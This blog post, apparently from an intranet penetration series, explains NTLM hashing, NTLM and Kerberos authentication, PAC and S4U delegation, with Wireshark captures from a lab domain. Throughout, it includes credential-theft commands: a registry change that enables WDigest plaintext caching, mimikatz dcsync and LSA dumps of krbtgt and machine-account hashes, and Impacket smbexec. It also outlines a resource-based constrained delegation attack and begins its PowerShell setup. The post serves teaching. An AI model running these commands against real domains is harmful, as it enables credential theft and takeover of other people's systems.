NTLM协议和Kerberos协议
2025-11-23 15:05:11 # 内网渗透

前言

作为一个脚本小子,当我们在进行内网渗透的过程中,要去抓取内网机器的账号密码、还有一堆hash值、还有什么黄金票据、白银票据,搞到这些东西以后就是一顿无脑梭哈,就能拿到机器了。现在!我不想再做一个脚本小子了!为什么呢?为什么就能抓到机器的明文账号密码了呢?抓了一堆的hash值干嘛的呢?什么是黄金票据什么是白银票据?为什么用这些票据就能拿到机器的权限?本章节带你来解答这些问题。

NTLM协议

先来介绍一下,在windows中进行身份认证使用的NTLM协议。

NTLM Hash算法

NTLM Hash算法是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法,他是基于MD4加密算法进行加密的。

具体的NTLM Hash算法这里就不详细演示了,直接使用一行python代码进行NTLM加密:

1
2
3
4
5
6
7
8
9
import binascii
from Crypto.Hash import MD4

# python3.9.21 , pycryptodome
password = 'P@ss1234'
password_utf16le = password.encode('utf-16le')
md4_hash = MD4.new(password_utf16le)
ntlm_hash = binascii.hexlify(md4_hash.digest()).decode('utf-8')
print("NTLM Hash:" + ntlm_hash)

运行结果如下:

image-20251106225954265

Windows系统存储的NTLM Hash

前面介绍了NTLM Hash算法,这个NTLM Hash算法加密的结果就是我们在进行内网渗透的过程中,抓取的Hash值。这些Hash值是干什么的呢?用于比对进行身份验证用的。

用户在Windows登录过程中,用户的密码经过NTLM Hash加密后存储在C:\Windows\system32\config\SAM文件中

image-20251107204027522

在用户输入密码进行本地认证的过程中,所有操作都是在本地进行的。系统将用户输入的密码转换为NTLM Hash,然后与SAM文件中的NTLM Hash进行比较,如果相同,说明密码正确,反之则错误。

当用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面,也就是输入框。winlogon.exe接收输入后,将密码交给lsass.exe进程,lsass.exe进程中会存一份明文密码,将明文密码加密成NTLM Hash,与SAM数据库进行比较和认证。

我们使用mimikatz就是从lsass.exe进程中抓取明文密码或Hash密码。

image-20251110205855972

Mimikatz原理[1]:Mimikatz通过逆向获取存储在lsass.exe进程中的明文登录密码。(lsass.exe用于本地安全和登陆策略)。首先使用Mimikatz抓取时必须是管理员权限在win10,win11,win2012等版本中,系统会开启LSA保护,明文密码字段会显示null。

我抓取密码的环境是win10,想要抓到密码首先是要关闭LSA保护。

管理员权限对注册表进行修改,随后使用脚本或者任意方法重启系统,使受害机的管理员重新登陆,此次登录的明文密码将会保存在lsass.exe 进程中,使用Mimikatz再次抓取可显示明文密码。若恢复注册表可直接将1改为0。

修改注册表命令如下:

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

此时再去获取密码,就可行了。

使用MSF或CobaltStrike通过转储Hash抓到的密码格式如下,第一部分是用户名,第二部分是用户的SID值,第三部分是LM Hash,第四部分是NTLM Hash,其余部分为空。

1
用户名:用户SID值:LM Hash:NTLM Hash:::

从Windows Vista和Windows Server 2008开始,由于默认禁用了LM Hash,因此第三部分的LM Hash固定为空值,第四部分的NTLM Hash才是用户密码加密后的凭据。

NTLM协议认证[2]

NTLM协议是一种基于Challenge/Response(质询/响应)的验证机制,由三种类型消息组成。

  • Type 1(协商,Negotiate)
  • Type 2(质询,Challenge)
  • Type 3(认证,Authentication)

NTLM协议有NTLM v1和NTLM v2两个版本,目前使用最多的是NTLM v2NTLM v1与NTLM v2最显著的区别是Challenge值与加密算法不同,共同之处就是都使用NTLM Hash进行加密。

工作组环境下的NTLM认证

工作组下的NTLM认证流程如下:

image-20251110214308983

(1)当客户端需要访问服务器的某个服务时,就需要进行身份认证。于是,在客户端输入服务器的用户名和密码进行验证之后,就会缓存服务器密码的NTLM Hash值。然后,客户端会向服务器发送一个请求,该请求利用NTLM SSP生成NTLMSSP_NEGOTIATE消息(被称为Type 1协商消息)。

(2)服务器接收到客户端发送过来的Type 1消息后,读取其中的内容,并从中选择自己所能接受的服务内容、加密等级、安全服务等,然后传入NTLM SSP,得到NTLMSSP_CHALLENGE消息(被称为Type 2 质询消息),并将此Type 2消息发回给客户端。在此Type 2消息中包含一个由服务器生成的16位随机值,被称为Challenge值,服务器会将该Challenge值进行缓存

(3)客户端收到服务器返回的Type 2消息后,读取服务器所支持的内容,并取出其中的Challenge值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(被称为 Type 3 认证消息),发往服务器。

(4)服务器收到认证消息后,从中取出Net-NTLM Hash,然后用自己密码的NTLM HashChallenge值进行一系列加密运算,得到自己计算的Net-NTLM Hash,并比较自己计算出的Net-NTLM Hash和客户端发送的Net-NTLM Hash是否相等。如果相等,则证明客户端输入的密码正确,从而认证成功,反之则认证失败。

以上是完整的整个流程,可以看到认证的成功的关键就是**Net-NTLM Hash比对的成功**。而Net-NTLM Hash的值是由NTLM Hash和服务器生成的Challenge值进行一系列加密运算得到的,所以这里的NTLM HashChallege非常关键。

域环境下的NTLM认证

域环境下的NTLM认证流程如下:

image-20251110222733962

(1)客户端想要访问服务器的某个服务,需要进行身份认证。于是,在输入服务器的用户名和密码进行验证之后,客户端会缓存服务器密码的NTLM Hash。然后,客户端会向服务器发送一个请求,该请求利用NTLM SSP生成NTLMSSP_NEGOTIATE消息(被称为Type 1 协商消息)。

(2)服务器接收到客户端发送过来的Type 1消息,会读取其中的内容,并从中选择自己所能接受的服务内容、加密等级、安全服务等。然后传入NTLM SSP,得到NTLMSSP_CHALLENGE消息(被称为Type 2 质询消息),并将此Type 2消息发回给客户端。在此Type 2消息中包含一个由服务器生成的16位随机值,被称为Challenge值,服务端将该Challenge值缓存起来

(3)客户端收到服务端返回的Type 2消息后,读取服务端所支持的内容,并取出其中的Challenge值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息,Response消息中可以提取出Net-NTLM Hash。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(被称为Type 3 认证消息),发往服务器。

(4)服务器接收到客户端发送来的NTLMSSP_AUTH认证消息后,通过Netlogon协议与域控制器(Domain Controller,DC,域控)建立一个安全通道,将验证消息(其中包含了服务器生成的Challenge)发给域控

(5)域控收到服务器发送来的验证消息后,从中取出Net-NTLM Hash然后从数据库中找到该用户的NTLM Hash,对Challenge进行一系列加密运算,得到自己计算的Net-NTLM Hash,比较自己计算出的Net-NTLM Hash和服务器发送的Net-NTLM Hash是否相等,如果相等,则证明客户端输入的密码正确,认证成功,反之认证失败,域控将验证结果发给服务器。

(6)服务器根据域控返回的结果,对客户端进行回复。

对于步骤(1)、(2)、(3)和工作组环境下的NTLM认证一致。在(4)、(5)、(6)将认证成功的任务转交给了域控,其中在服务器和域控交互的过程中使用到Netlogon协议。认证成功的关键,还是比较Net-NTLM Hash是否相等。

Kerberos协议

Kerberos协议是由MIT提出的一种网络身份验证协议,是一种在开放的非安全网络中认证并识别用户身份信息的方法。它旨在使用密钥加密技术为客户端/服务端应用程序提供强身份验证。目前使用的主流Kerberos版本为2005年RFC4120[3]标准定义的Kerberos v5,Windows、Linux和MacOS均支持Kerberos协议。

Kerberos基础

在Kerberos协议中,主要有以下三个角色:

  • 访问服务的客户端:Kerberos客户端代表需要访问资源的用户进行操作的应用程序,例如打开文件、查询数据库和打印文件等。每个Kerberos客户端在访问资源之前都会请求身份验证
  • 提供服务的服务端:域内提供服务的服务端,服务端都有唯一的SPN(服务主体名称)
  • 提供认证服务的KDC(Key Distribution Center,密钥分发中心):KDC是一种网络服务,它向活动目录域内的用户和计算机提供会话票据和临时会话密钥,其服务账户为krbtgt。KDC作为活动目录域服务的一部分运行在每个域控制器上。

krbtgt账户,在我们后面进行域渗透的时候会多次提到的账户,比较重要。该用户是在创建活动目录时系统自动创建的一个账户,其作用是KDC(密钥发行中心)的服务账户,其密码是系统随机生成的,无法正常登录主机。

image-20251112191129812

Kerberos是一种基于票据(Ticket)的认证方式。客户端想要访问服务端的某个服务,首先需要购买服务端认可的ST(Service Ticket,服务票据)。也就是说,客户端在访问服务之前需要先买好票,等待服务验票之后才能访问。但是这张票并不能直接购买,需要一张TGT(Ticket Granting Ticket,认购权证)。也就是说,客户端在买票之前必须先获得一张TGT,TGT和ST均是由KDC发放的,因为KDC运行在域控上,所以说TGT和ST均是由域控发放的

Kerberos协议有两个基础认证模块——AS_REQ & AS_REPTGS_REQ & TGS_REP,以及微软扩展的两个认证模块S4UPACSU4是微软为了实现委派而扩展的模块,分为S4u2SelfS4u2Proxy。在Kerberos最初设计的流程里只说明了如何证明客户端的真实身份,并没有说明客户端是否有权限访问该服务,因为在域中,不同权限的用户能够访问的资源是不同的。因此微软为了解决权限问题,引入了PAC(Privilege Attribute Certificate,特权属性证书)的概念。

Kerberos实验环境

为了后续的更深入的学习Kerberos协议,我搭建了一个域环境,如下:

  • 攻击机 (Kali Linux): 192.168.233.5
  • 普通域用户:bob/qwer@1234
  • 域控制器 (DC):
    • 主机名: dc.test.mydomain
    • IP地址: 192.168.233.131
  • 域成员服务器:
    • 主机名: bob.test.mydomain
    • IP地址: 192.168.233.132

我在kali中利用普通域用户bob使用Impacket工具[4]请求bob.test.mydomain机器的CIFS服务票据,然后进行远程SMB连接,在该过程中使用Wireshark抓包用于后续分析。

Impacket工具使用命令如下:

1
2
3
4
5
6
7
8
# 使用 test.mydomain/bob 账户/密码 请求 bob.test.mydomain 的 cifs 服务的 ST(Service Ticket)
python3 getST.py -dc-ip 192.168.233.131 -spn cifs/bob.test.mydomain test.mydomain/bob:qwer@1234 -debug

# 导入该 ST(设置 Kerberos 凭据缓存)
export KRB5CCNAME=/home/kali/Desktop/impacket/examples/bob@cifs_bob.test.mydomain@TEST.MYDOMAIN.ccache

# 使用 Kerberos 认证通过 SMB 远程连接 bob.test.mydomain
python3 smbexec.py -no-pass -k bob.test.mydomain

结果如下:

image-20251113131617367

在执行上面的命令之前,打开Wireshark抓取数据包就好。

image-20251113131825749

下面就是介绍整个Kerberos认证流程如下图所示:

image-20251113140144309

更清晰的理解票据生成的图,如下:

image-20251113192043916

PAC

在分析AS_REQ & AS_REPTGS_REQ & TGS_REP之前,我们先来看看什么是PAC

PAC (Privilege Attribute Certificate,特权属性证书) 是微软在 Windows Active Directory (AD) 环境中对标准 Kerberos 协议的一个重要扩展。

简单来说,如果把Kerberos票据(Ticket)比作一张“身份证”,那么PAC就是贴在身份证背面的”权限清单“和“防伪标签”。

为什么需要PAC?

标准的 Kerberos 协议主要解决的是 Authentication(认证) 问题,即证明“你是谁”。但在 Windows 环境中,服务(Service)还需要知道 Authorization(授权) 信息,即“你能干什么”。

PAC 的引入就是为了解决这个问题:

  • 它包含用户的 SID (Security Identifier)组 SID(如 Domain Admins)、用户配置文件路径等信息。
  • 有了 PAC,服务端在解密票据后,可以直接根据 PAC 里的组信息生成用户的访问令牌 (Access Token),而不需要再次查询域控制器 (DC) 来获取用户的权限。

PAC位于哪里?

PAC 被放置在 Kerberos 票据(无论是 TGT 还是 ST)的 Authorization-Data 字段中。

  • 它随着票据一起被加密。只有拥有正确密钥(Krbtgt hash 或 服务账号 hash)的一方才能解密票据并读取 PAC。

PAC 包含哪些核心内容?

PAC 是一个结构化的数据块(参考微软文档 MS-PAC[5]),主要包含以下几个关键部分:

1、Logon Info (登录信息):

  • 这是最核心的部分。包含用户的 SID 以及用户所属的所有组(Groups)的 SID。
  • 服务端就是靠这个列表来判断你是不是管理员。

2、Client Name & Logon Time: 用户名和登录时间。

3、Checksums (签名/校验和):

这是防止 PAC 被篡改的关键。通常包含两个签名:

  • Server Signature: 使用目标服务账号的密钥(Server Key)进行签名。
  • KDC Signature: 使用 KDC 的密钥(Krbtgt Key)进行签名。

这两个签名确保了 PAC 是由合法的 KDC 生成的,且在传输过程中未被篡改。

PAC的工作流程

1、AS-REQ / AS-REP (认证阶段):

  • 当用户登录时,KDC 在生成 TGT (Ticket Granting Ticket) 时,会查询 AD 数据库,获取用户的组信息,构建 PAC,并将其放入 TGT 中加密。此处的签名使用的是 krbtgt 的密钥。

2、TGS-REQ / TGS-REP (申请服务票据阶段):

  • 用户想访问某个服务(例如 SQL Server),向 KDC 提交 TGT。
  • KDC 解密 TGT,验证 PAC 的签名。如果验证通过,KDC 会把 PAC 从 TGT 中复制出来,放入新的 ST (Service Ticket) 中。
  • 注意:此时 KDC 会用目标服务的密钥重新生成 PAC 中的 Server Signature。

3、AP-REQ (访问服务阶段):

  • 用户将 ST 发送给目标服务。
  • 服务使用自己的 NTLM Hash 解密 ST,提取出 PAC。
  • 服务根据 PAC 中的 SID 列表构建用户的访问令牌,从而决定是否允许用户执行操作。

AS-REQ & AS-REP

首先看一下AS-REQ & AS-REP的部分。

image-20251113183452223

下面展示一个简要的AS-REQ & AS-REP请求过程图,便于直观的了解一下AS-REQ & AS-REP请求过程。

image-20251113190457329

客户端是如何获得TGT的?TGT是由KDCAS(Authentication Service,认证服务)发放的。下面具体分析AS-REQ & AS-REP请求过程中的数据包细节。

1、AS-REQ包分析

当域内某个用户想要访问域内某个服务时,输入用户名和密码,本机就会向KDC的AS发送一个AS-REQ(认证请求)。该请求的内容如AS-REQ & AS-REP图片左侧内容一样,时间的包内容如下:

image-20251113193509083

image-20251113193556000

下面就来详细的介绍一下各个字段:

  • PA-DATA pA-ENC-TIMESTAMP:

预认证,就是用用户密码Hash加密时间戳,将其作为value发送给KDC的AS。然后KDC从活动目录中查询出用户密码的Hash,使用用户密码Hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过,由于是使用用户密码Hash加密的时间戳,因此也就造就了哈希传递攻击(Pass The Hash,PTH)。哈希传递攻击是这么来的!!!⚠️⚠️⚠️。

  • PA-DATA pA-PAC-REQUEST:

启用PAC支持的扩展。这里value对应的值为True或False,KDC根据include-pac的值来确定返回的票据中是否需要携带PAC。

image-20251113201347307

  • include-pac:

是否包含PAC,这里为True,说明包含PAC。

  • kdc-options:

用于与KDC协商一些选项设置。

  • cname:

请求的用户名,这个用户名存在与否,返回的包是有差异的,因此可以用于枚举域内用户名⚠️⚠️⚠️。当用户名存在时,密码正确与否会影响返回包,因此也可以进行**密码喷洒(Password Spraying)**⚠️⚠️⚠️。

  • realm:

域名。

  • sname:

请求的服务,包含type和value。在AS-REQ中sname始终为krbtgt。

着重介绍一下PA-DATA pA-ENC-TIMESTAMP字段。在AS-REQ包中,只有PA-DATA pA-ENC-TIMESTAMP部分是加密的,这一部分属于预认证,称为Authenticator

如下是impacket/impacket/krb5/kerberosv5.py脚本中的代码,这里可以看到是使用用户的密码Hash或用户的密码AES Key来加密时间戳的。

image-20251113205735695

下面就是对使用Wireshark抓取的PA-DATA pA-ENC-TIMESTAMP字段中的cipher进行解密了,解密是使用test.mydomain/bob的密钥来进行解密。

Wireshark自带有解密的功能,要导入解密的keytab文件。生成解密的keytab文件,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
# 启动 ktutil
ktutil

# 在 ktutil 提示符下执行以下命令,提示输入密码的时候输入密码:qwer@1234
add_entry -password -p bob@TEST.MYDOMAIN -k 1 -e aes256-cts-hmac-sha1-96
add_entry -password -p bob@TEST.MYDOMAIN -k 1 -e aes128-cts-hmac-sha1-96
add_entry -password -p bob@TEST.MYDOMAIN -k 1 -e arcfour-hmac-md5

# 写入 keytab 文件
write_kt username.keytab

# 退出
quit

导入keytab可以注意到解密后的数据,patimestamp和pausec显示的是解密后的值。

image-20251113210629805

2、AS-REP包分析

当KDC的AS接收到客户端发来的AS-REQ后,AS会从活动目录数据库中取出该用户的密钥Hash,然后用该密钥Hash对请求包中的预认证部分进行解密。如果解密成功,并且时间戳在有效的范围内,则证明请求者提供的用户密钥正确。KDC的AS在成功认证客户端的身份之后,发送AS-REP包给客户端。AS-REP包中主要包含的信息如AS-REQ & AS-REP图片右侧的内容一样。

真实的数据包如下图:

image-20251113214020760

下面对AS-REP包中部分字段进行解释,具体如下:

  • **ticket:**认购权证据票。
  • enc-part(ticket中的):TGT中的加密部分,这部分是用krbtgt的密码Hash加密的。因此,如果我们拥有krbtgt的Hash,就可以自己制作一个ticket,这就造成了黄金票据传递攻击⚠️⚠️⚠️。
  • enc-part(最外层的)Logon Session Key,这部分是用请求的用户密码Hash加密的,作为下一阶段的认证密钥。

AS-REP包中最重要的就是TGT和加密的Logon Session KeyTGT中加密部分是使用krbtgt密钥加密的,而Logon Session Key是使用请求的用户密钥加密的。下面通过解密Wireshark来看看TGTLogon Session Key中包含哪些内容。

(1)TGT

AS-REP包中的ticket便是TGT了。TGT中包含一些明文显示的信息,如版本号tkt-vno、域名realm、请求的服务名sname,但最重要的还是加密部分。加密部分是使用krbtgt账户密钥加密的,主要包含Logon Session Key、请求的用户名cname、域名crealm、认证时间authtime、认证到期时间endtimeauthorization-data等信息。其中authorization-data部分包含客户端的身份权限等信息,这些信息包含在PAC中。

先去解密加密的部分,使用mimikatz抓取krbtgt账户的Hash用于去生成解密的keytab。抓取Hash的命令如下:

1
2
3
4
5
6
# 将整个 mimikitz 会话输出到文件
mimikatz.exe > dcsync_output.txt
# 然后在 mimikatz 提示符下执行:
privilege::debug
lsadump::dcsync /domain:TEST.MYDOMAIN /user:krbtgt
exit

获取到对应的Hash值如下:

1
2
3
aes256_hash = "bc61d540e046302787e8bbdab97d6801deebaaf38d4753deda056f6165eb71ae"
aes128_hash = "615f032da5bd238875467946c5aa57cc"
ntlm_hash = "0420b0bd4f0274208fd285488d801514"

生成keytab文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ktutil

# 使用 -key 参数直接提供密钥
add_entry -key -p krbtgt/TEST.MYDOMAIN@TEST.MYDOMAIN -k 1 -e aes256-cts-hmac-sha1-96
# 输入密钥: bc61d540e046302787e8bbdab97d6801deebaaf38d4753deda056f6165eb71ae

add_entry -key -p krbtgt/TEST.MYDOMAIN@TEST.MYDOMAIN -k 1 -e aes128-cts-hmac-sha1-96
# 输入密钥: 615f032da5bd238875467946c5aa57cc

add_entry -key -p krbtgt/TEST.MYDOMAIN@TEST.MYDOMAIN -k 1 -e arcfour-hmac-md5
# 输入密钥: 0420b0bd4f0274208fd285488d801514

write_kt krbtgt.keytab
list
quit

将生成的keytab文件导入到wireshark中去解密流量。解密后的流量如下,这里就是TGT

image-20251114133943376

中间部分:

image-20251114134054929

最后的部分:

image-20251114134423577

TGT中的authorization-data字段下代表用户身份权限的PAC是什么样的呢?下面只查看PAC的凭证信息部分PAC_LOGON_INFO。如下图,主要还是通过User RIDGroup RID来辨别用户权限的。

image-20251114135339817

KDC生成PAC的过程如下:

KDC在收到客户端发来的AS-REQ后,从请求中取出cname字段,然后查询活动目录数据库,找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC

(2)Logon Session Key

AS-REP包最外层的那部分便是加密的Logon Session Key,用于确保客户端和KDC下一阶段的通信安全,它使用请求的用户密钥加密。

我们对最外层的enc-part部分进行解密,如下图,可以看到使用的是普通域用户bob的密钥对其进行解密的。

image-20251113223259803

后半部分。

image-20251113223327112

解密结果如下:主要包含认证时间authtime、认证到期时间endtime、域名srealm、请求的服务名sname、协商标志flags等信息。需要说明的是,在TGT中也包含Logon Session Key

TGS-REQ & TGS-REP

下面就看一看抓取的TGS-REQ & TGS-REP数据包。

image-20251114140823896

下面就是一个简要的TGS-REQ & TGS-REP请求过程图,便于我们直接的了解请求的过程。

image-20251114160620239

下面具体分析TGS-REQ & TGS-REP过程中的数据包细节。

客户端在收到KDC的AS-REP后,使用用户密钥解密enc_Logon Session Key(也就是最外层的enc-part),得到Logon Session Key,并且也获得了TGT。之后,他会在本地缓存此TGTLofon Session Key。现在客户端需要凭借这张TGT向KDC购买相应的STST是KDC的另一个服务TGS(Ticket Granting Service)授予服务发放的。在这个阶段,微软引入了两个扩展自协议S4u2SelfS4u2Proxy(委派时才用到,后面会介绍)。

1、TGS-REQ包分析

客户端用上一步获得的TGT发起TGS-REQ,向KDC购买针对指定服务的ST,请求的内容如TGS-REQ & TGS-REP图片中的A。下面就是wireshark抓取的TGS-REQ包的详细内容。

image-20251114162630566

后半部分:

image-20251114163114613

下面对部分字段内容进行详细的解释。

  • padata:

包含ap-req,这个TGS-REQ必须携带的部分,这部分包含AS-REP中获取到的TGT票据和使用原始的Logon Session Key加密的时间戳。可能会有PA_FOR_USER,类型是S4u2Self,是唯一的标识符,指示用户的身份,由用户名和域名组成,S4u2Proxy必须扩展PA_FOR_USER结构,用于指定服务代表某个用户去请求针对服务自身的Kerberos服务票据。还可能会有PA_PAC_OPTIONS,类型是PA_PAC_OPTIONSS4u2Proxy必须扩展PA-PAC-OPTIONS结构,如果是基于资源的约束性委派,就需要指定Resource-based Constrained Delegation

  • ap-req:

这个是TGS_REQ必须携带的部分。

  • ticket:

AS-REP回复包中返回的TGT

  • authenticator:

原始Logon Session Key加密的时间戳,用于保证会话安全。

这里着重讲一下ap-req中的authenticator字段,该字段主要用于下一阶段的会话安全认证,为了保证下一阶段的会话安全,TGS-REQap-req中的authenticator字段的值使用的是上一步AS-REP中返回的Logon Session Key加密的时间戳,如下图:

image-20251114172041947

如下是impacket/krb5/kerberosv5.py脚本中的部分代码,从中可以看到使用了Logon Session Key加密的时间戳。

image-20251114222740139

2、TGS-REP包分析

KDC的TGS服务接收到TGS_REQ之后会进行如下操作。首先,使用krbtgt秘钥解密TGT中的加密部分,得到Logon Session KeyPAC等信息,解密成功则说明该TGTKDC颁发的;然后,验证PAC的签名,签名正确证明PAC未经过篡改;最后,使用Logon Session Key解密authenticator得到时间戳等信息,如果能解密成功,并且票据时间在有效的范围内,则验证了会话的安全性。

在完成上述的检测后,KDC的TGS就完成了对客户端的认证,TGS发送回复包给客户端。该回复包中主要包括的信息。

⚠️注意:TGS-REP中KDC并不会验证客户端是否有权限访问服务端。因此,不管用户有没有访问服务的权限,只要TGT正确,均会返回ST。

TGS-REP包的详细内容如下:

image-20251114224103278

对TGS-REP包中部分字段进行解释,具体如下:

  • **ticket:**即ST
  • enc-part(ticket中的):这部分是用服务的密钥加密的(如果服务的Hash泄露了,就造成了白银票据传递攻击!⚠️⚠️⚠️)。
  • enc-part(最外层的):这部分是用原始的Logon Session Key加密的。里面最重要的字段是Service Session Key,作为下一阶段的认证密钥。

TGS-REP包中最重要的就是ST和Service Session Key。**ST中加密部分是使用服务密钥加密的。而Serveice Session Key是使用Logon Session Key加密的。**下面通过解密Wireshark来看看ST和Service Session Key中包含哪些内容。

(1)ST

TGS-REP包中的ticket便是STST中包含明文显示的信息,如版本号tkt-vno、域名realm、请求的服务名sname,但最重要的还是加密部分。加密部分是使用服务秘钥加密的,主要包含Server Session Key、请求的用户名cname、域名crealm、认证时间authtime、认证到期时间endtime、authorization-data等信息。其中authorization-data部分包含客户端的身份权限等信息,这些信息包含在PAC中。

首先是想办法去解密ticket中的enc-part,获取服务秘钥Hash,即这里就是域控中机器账户BOB$的Hash。

1
2
3
4
5
6
mimikatz.exe
privilege::debug
token::elevate
lsadump::lsa /patch
lsadump::dcsync /domain:TEST.MYDOMAIN /user:bob$
exit

如下图:

image-20251115112057504利用服务秘钥Hash去生成keytab。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ktutil

# 添加 CIFS 服务的 AES256 密钥
add_entry -key -p cifs/bob.test.mydomain@TEST.MYDOMAIN -k 1 -e aes256-cts-hmac-sha1-96
# 输入aes256_hmac为:ba0616460f1c1fda7301f1ae4fd6dbd466413dcc561b51d7ecd3b4064fb2032d

# 添加 AES128 密钥
add_entry -key -p cifs/bob.test.mydomain@TEST.MYDOMAIN -k 1 -e aes128-cts-hmac-sha1-96
# 输入aes128_hamc为:4f6fc6975f472f5de32abc25c972357f

# 添加 RC4 密钥
add_entry -key -p cifs/bob.test.mydomain@TEST.MYDOMAIN -k 1 -e arcfour-hmac-md5
# 输入bob$的NTLM Hash:b79fe04f4d3a245fa8bd46fa7c068e6a

write_kt cifs_bob.keytab
quit

wireshark导入keytab,然后可以解密ticket的enc-part部分,获取相关的信息。

如下图所示,就是解密后的ST:

image-20251115112811884

ST中authorization-data字段下代表用户身份权限的是PAC。下面我们只查看PAC的凭证信息部分PAC_LOGON_INFO

如下图,主要通过User RIDGroup RID来辨别用户权限。通过对比发现,ST中的PAC和TGT中的PAC是一致的。在正常的非S4u2Self请求的TGS过程中,KDC在ST中的PAC直接复制了TGT中的PAC。

image-20251115115956555

(2)Sevice Session Key

TGS-REP包最外层的部分便是Service Session Key,用于确保客户端和KDC下一阶段的通信安全,它使用Logon Session Key加密。

如下图,对最外层的enc-part进行解密,它主要包含认证时间authtime、认证到期时间endtime、域名srealm、请求的服务名sname、协商标志flags等信息。需要说明的是ST中也包含Sevice Session Key

image-20251114230827624

AP-REQ & AP-REP双向认证

客户端收到KDC返回的TGS-REP消息后,从中取出ST,准备开始申请访问服务。由于我们是通过SMB协议远程连接的,因此AP-REQ & AP-REP消息是放在SMB协议中的,如下:

image-20251115142528780

注意⚠️:通过Impacket远程连接服务,默认不需要验证提供服务的服务端,因此这里没有AP-REP。

下图是一个简要的AP-REQ & AP-REP过程图,便于直观的了解请求过程。

image-20251115143824219

1、AP-REQ包分析

客户端接受到KDC的TGS回复后,通过缓存的Logon Session Key解密enc_Service Session Key得到Service Session Key,同时它也拿到了ST。Service Session Key和ST会被客户端缓存。客户端访问指定服务时,将发起AP-REQ,该请求主要包含的信息,如下图:

image-20251115151500548

下面对AP-REQ包中部分字段进行解释,具体如下:

  • ticket:票据。
  • authenticator:Service Session Key加密的时间戳。

2、AP-REP包分析

这一步是可选的,当客户端希望验证提供服务的服务端时(也就是AP-REQ请求中mutual-required选项为True),服务端返回AP-REP消息。服务端收到客户端发来的AP-REQ消息后,通过服务密钥解密ST得到Service Session Key和PAC等信息,然后用Service Session Key解密Authenticator得到时间戳,如果解密成功且时间戳在有效范围内,则验证了客户端的身份。验证了客户端身份后,服务端从ST中取出PAC中代表用户身份权限信息的数据,然后与请求的服务ACL做对比,生成相应的访问令牌。同时,服务端会检查AP-REQ请求中mutual-required选项是否为True,如果是,则说明客户端想验证服务端的身份。此时服务端会用Service Session Key加密时间戳作为Authenticator,在AP-REP包中发送给客户端进行验证。如果mutual-required选项为False,服务端会根据访问令牌的权限决定是否返回相应的服务给客户端

S4u2Self & S4u2Proxy协议

为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)S4u2Proxy(Service for User to Proxy)

S4u2Self可以代表任意用户请求针对自身的服务票据;

S4u2Proxy可以用上一步获得的ST以用户的名义,请求针对其他指定服务的ST。

对于基于资源的约束委派攻击,要满足以下的这些条件才能进行攻击:

最低要求:

✅ 域用户账户(任何认证用户)

✅ 机器账户创建配额 > 0(默认10)

✅ 网络可达域控制器

或者:

✅ 对目标计算机有写权限

✅ 可以设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。

解释一下,对于最低要求的攻击场景,如下场景A(自己打自己,从普通域用户到本地管理员权限):

1
2
3
4
5
6
7
# 场景A
用户: john (普通域用户)
权限: 默认域用户权限
攻击:
1. 创建机器账户 attackpc$
2. 对自己工作站 WS-JOHN 配置RBCD
3. 获取 WS-JOHN 的本地管理员权限

对于"对目标计算机有写权限"和"可以设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性"。如下场景B(打别人,获取别人服务器的管理员权限,一般是进行横向移动使用的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 场景B
用户: alice (假设已获取该账户控制权,且该账户已被配置 SPN)

权限: 对计算机对象 bob (CN=bob,OU=运维部,DC=test,DC=mydomain) 拥有 写权限 (GenericAll, GenericWrite, WriteDacl 或 WriteProperty -> msDS-AllowedToActOnBehalfOfOtherIdentity)。

攻击:
1、配置信任关系 (Resource Constraint) 利用 alice 拥有的写权限,修改 bob 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。将 alice 的 SID (S-1-5-21...-1109) 封装为安全描述符并在该属性中添加,从而“强行”让 bob 信任 alice 的委派请求。

2、伪造身份 (S4U2Self) alice 使用自己的凭据向 KDC 发起 S4U2Self 请求,以 Administrator 的名义请求访问 alice 自身的服务票据 (ST)。
结果:获得了一张 Administrator -> alice 的票据 (Evidence Ticket)。

3、获取目标票据 (S4U2Proxy) alice 使用上一步获取的 Evidence Ticket,向 KDC 发起 S4U2Proxy 请求,申请访问 bob 的 CIFS 服务 (cifs/bob.test.mydomain) 的票据。
结果:由于步骤1配置了信任,KDC 返回了一张 Administrator -> bob 的服务票据。

获取 bob 的管理员权限 alice 将步骤3获取的票据导入内存 (Pass-The-Ticket),直接访问 \\bob.test.mydomain\c$。此时 bob 认为访问者是域管理员 Administrator,从而允许执行任意文件操作或进一步利用 (如创建计划任务、上传木马等)。

下面演示的内容,就是场景A,主要目的是学习基于资源的约束委派,那就基于场景A去进行尝试。

这个是在域控机器上进行尝试的,抓取基于资源的约束委派kerberos协议的流量,看一下和普通的kerberos流量有何不同。

在域控中执行以下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 1. 删除已存在的机器账户(如果存在)
Remove-ADComputer -Identity "attackpc" -Confirm:$false

# 2. 创建新的机器账户
New-ADComputer -Name "attackpc" -SamAccountName "attackpc$" -AccountPassword (ConvertTo-SecureString "RootPass123!" -AsPlainText -Force) -Enabled $true

# 3. 获取机器账户的SID
$ComputerSID = (Get-ADComputer -Identity "attackpc").SID

# 4. 配置基于资源的约束委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSID)")

# 5. 转换安全描述符为字节数组
$SDBytes = New-Object byte[] ($SD.BinaryLength)

# 6. 设置字节数组
$SD.GetBinaryForm($SDBytes, 0)

# 7. 在域控上配置RBCD
